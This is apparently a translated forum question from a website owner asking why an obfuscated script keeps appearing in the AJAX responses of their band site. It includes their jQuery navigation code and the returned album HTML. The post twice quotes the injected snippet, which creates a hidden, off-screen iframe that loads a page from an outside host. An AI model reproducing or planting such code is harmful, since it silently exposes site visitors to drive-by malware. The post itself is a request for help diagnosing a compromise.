http://www.btandthetenants.comのサイトでリンクをクリックするたびに、コンテンツを自動的にロードするようにAJAXリクエストがあります。ただし、最近、この紛らわしいコードがリターンデータに挿入されているのを目にしています。
<script>
var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://cabaniaseleden.com.ar/stats.php');
_q.style.position = 'absolute';
_q.style.width = '12px';
_q[_n]('frameborder', navigator.userAgent.indexOf('39c33260f6d7671e2dae7f08d1087e22') + 1);
_q.style.left = '-4327px';
document.write('<div id=\'pzeadv\'></div>');
document.getElementById('pzeadv').appendChild(_q);
</script>
これは、クリックするための現在のコードです。
$("#nav a").click(function(event) {
var sHREF = $(this).attr("href");
var sPage = sHREF.replace(oVars.sPrefix(), "");
if (oVars.sCurrent != sPage) {
// As long as we're not currently on the page we just clicked on...
//oVars.sCurrent = sPage;
if (oVars.oArchive.isOpen()) oVars.oArchive.toggle();
loadContent(sHREF, true, false);
track(sPage);
}
event.preventDefault();
});
...そしてloadContent
機能:
function loadContent(sURL, bPush, bReplace) {
var $Box = $("#loaded .box-1"),
$Content = $Box.find(".inner");
$("#nav a").removeClass("active");
$("#nav a[href='"+ sURL +"']").addClass("active");
oVars.sCurrent = sURL.split("&")[0];
// Closes any picture open in Colorbox.
if ( oVars.sCurrent != "pictures" && oVars.bI && $("#colorbox").css("display") != "none" )
$.colorbox.close();
if (!oVars.bIE) {
if (bPush) {
var objState = { page: oVars.sCurrent };
if (bReplace)
history.replaceState(objState, "", "");
else
history.pushState(objState, "", sURL);
} else {}
}
if (!bReplace) {
// Load the page.
$Box.slideUp(oVars.iSpeed / 2, "", function() {
$.get(
"index.php" + oVars.sPrefix() + sURL,
oVars.oNHF,
function(sData) {
var $El = $(sData).filter(":first"), // This is the element that would be displayed
$Script = $(sData).filter(":last"),
sPage = extractPage("ending").toLowerCase();
console.debug(sData);
// Change documentElement to body and circumvent the issues caused by the iPhone version... yadda yadda.
document.documentElement.className = sPage;
// Try and make it a regular expression to replace the words after the separator.
document.title = oPHP.const.NAME + oPHP.const.TEXT_DIVIDER + ( (sPage == "home") ? "Home" : oPHP.vars.titles[sPage].replace(/\<.*\>/, "").trim() );//ucwords(sPage);
$Box.html(sData).slideDown(oVars.iSpeed / 2);
// Reload the Facebook widgets for the current page.
reloadWidgets();
}
);
} );
}
}
sData
inは、最初にその不思議なタグを次のようにloadContent
返しています。<script>
<script>
// THIS IS THE EVIL SNIPPET THAT'S BEING INSERTED INTO MY CODE.
var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://cabaniaseleden.com.ar/stats.php');
_q.style.position = 'absolute';
_q.style.width = '12px';
_q[_n]('frameborder', navigator.userAgent.indexOf('39c33260f6d7671e2dae7f08d1087e22') + 1);
_q.style.left = '-4327px';
document.write('<div id=\'pzeadv\'></div>');
document.getElementById('pzeadv').appendChild(_q);
</script>
<div class="box-1" id="pictures">
<div class="title">
Pictures <span class="links"><a class="fblink" href="http://www.facebook.com/elemovements?sk=photos" target="_blank" title="Visit this Page on Facebook">View on Facebook</a></span>
</div>
<div class="body">
<div class="inner transition">
<div>
<div class="section-title">
Albums
</div>
<span class="gray italic size">(4 albums, 13 pictures)</span>
</div>
<div class="album-container">
<a fb-href="http://www.facebook.com/album.php?fbid=332120860192434&id=156848747719647&aid=77394" href="pictures&action=list_pics&aid=156848747719647_77394&size=1&name=Wall Photos" title="">
<div class="album">
<img src="http://photos-a.ak.fbcdn.net/hphotos-ak-ash3/527637_332120863525767_1834367592_s.jpg">
</div>
</a>
<div class="name">
<a fb-href="http://www.facebook.com/album.php?fbid=332120860192434&id=156848747719647&aid=77394" href="pictures&action=list_pics&aid=156848747719647_77394&size=1&name=Wall Photos" title="">Wall Photos</a>
</div>
</div>
<div class="album-container">
<a fb-href="http://www.facebook.com/album.php?fbid=171845276219994&id=156848747719647&aid=44093" href="pictures&action=list_pics&aid=156848747719647_44093&size=2&name=Posters" title="">
<div class="album">
<img src="http://photos-b.ak.fbcdn.net/hphotos-ak-ash4/427627_278221322249055_1137145612_s.jpg">
</div>
</a>
<div class="name">
<a fb-href="http://www.facebook.com/album.php?fbid=171845276219994&id=156848747719647&aid=44093" href="pictures&action=list_pics&aid=156848747719647_44093&size=2&name=Posters" title="">Posters</a>
</div>
</div>
<div class="album-container">
<a fb-href="http://www.facebook.com/album.php?fbid=261713630566491&id=156848747719647&aid=63000" href="pictures&action=list_pics&aid=156848747719647_63000&size=4&name=Newby's Show" title="The guys' show on 1/29/2012 at Newby's. Taken in Memphis, TN.">
<div class="album">
<img src="http://photos-f.ak.fbcdn.net/hphotos-ak-ash4/407659_261713673899820_1183906213_s.jpg">
</div>
</a>
<div class="name">
<a fb-href="http://www.facebook.com/album.php?fbid=261713630566491&id=156848747719647&aid=63000" href="pictures&action=list_pics&aid=156848747719647_63000&size=4&name=Newby's Show" title="The guys' show on 1/29/2012 at Newby's. Taken in Memphis, TN.">Newby's Show</a>
</div>
</div>
<div class="album-container">
<a fb-href="http://www.facebook.com/album.php?fbid=232326246838563&id=156848747719647&aid=56722" href="pictures&action=list_pics&aid=156848747719647_56722&size=6&name=Oxford Show" title="Taken in Oxford, MS.">
<div class="album">
<img src="http://photos-d.ak.fbcdn.net/hphotos-ak-ash4/390726_232326290171892_2122883596_s.jpg">
</div>
</a>
<div class="name">
<a fb-href="http://www.facebook.com/album.php?fbid=232326246838563&id=156848747719647&aid=56722" href="pictures&action=list_pics&aid=156848747719647_56722&size=6&name=Oxford Show" title="Taken in Oxford, MS.">Oxford Show</a>
</div>
</div>
<script id="logic" language="javascript" src="min/?f=/js/logic/pictures.js" type="text/javascript"></script>
</div>
</div>
</div>
私のデータはスクリプトタグの後にあり、コードのどこにもありません。これは、ある種のコンソールでいつでも自分で確認できます。